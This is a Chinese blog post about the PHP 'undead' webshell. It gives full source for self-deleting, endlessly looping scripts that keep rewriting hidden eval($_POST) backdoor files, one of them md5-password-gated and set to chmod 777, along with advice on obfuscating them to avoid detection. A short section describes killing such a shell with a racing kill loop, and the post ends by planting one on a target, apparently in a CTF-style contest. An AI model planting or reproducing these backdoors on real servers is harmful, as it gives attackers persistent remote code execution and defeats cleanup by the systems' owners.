前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >小记一个PHP不死马

小记一个PHP不死马

作者头像
Elapse
发布2020-08-17 11:26:31
3.3K0
发布2020-08-17 11:26:31
举报
文章被收录于专栏:E条咸鱼

如同字面意思一样,不死马怎么样都不会给"杀死"的木马,他是直接写入进程中,无限在指定目录下生成木马文件

代码语言:javascript
复制
<?php
set_time_limit(0);
ignore_user_abort(1); #1表示,忽略与客户端断开连接,继续执行脚本
unlink(__FILE__); #执行完后删除自身
while (1) {
    $content = "<?php @eval($_POST["cmd"]) ?>";
    file_put_contents(".bk.php", $content);
    usleep(10000); #停一会
}
?>

上面就是典型的不死马,当然有几处是有些问题的

1.删除自身,也可以不删除,没什么区别

2.写入的一句话,这类一句话木马可能一下就能查出来,或者别人看到后知道你的php木马的密码是什么,一般情况下也可以加混淆

3.usleep()也不一定需要,有的文件的宗旨在于卡目标机器,所以不断创建文件消耗对方服务器资源也是可以的

正常的PHP一句话木马为

代码语言:javascript
复制
<?php @eval($_POST["cmd"]) ?>

但这样别人看到后也可以直接利用,而且很容易就可以通过命令来找到这个玩意,所以也可以通过混淆一下,或者加个md5密码

代码语言:javascript
复制
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    $file=".shell.php";
    $shell="<?php substr(md5(\$_GET['x']),28)=='acd0'&&eval(\$_POST['c']);?>"; #md5=lostwolf
    while(1){
        file_put_contents($file,$shell);
        system('chmod 777 .shell.php');
        touch(".shell.php");
        usleep(50);
    }
;
?>

两个条件同时满足,也就是Md5符合时,这个木马才会生效

杀死不死马的方法

首先 top|grep httpd来查看不死马的进程ID

可以看到ID为 11198111204

接着写php文件

代码语言:javascript
复制
<?php
while(1){
    $pid=11198;
    @unlink('.shell.php');
    exec('kill -9 $pid;');
}
?>

因为不死马的特殊性,所以得条件竞争来删除,当然有的靶机处理比较卡,不需要条件竞争,手动直接kill <pid>就好了

这里拿一辆"公交车"来试验一下,目标机器已经给我种马了,所以直接上传个不死马访问就好了

上传完了之后访问,就会写入进程了,测试一下

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档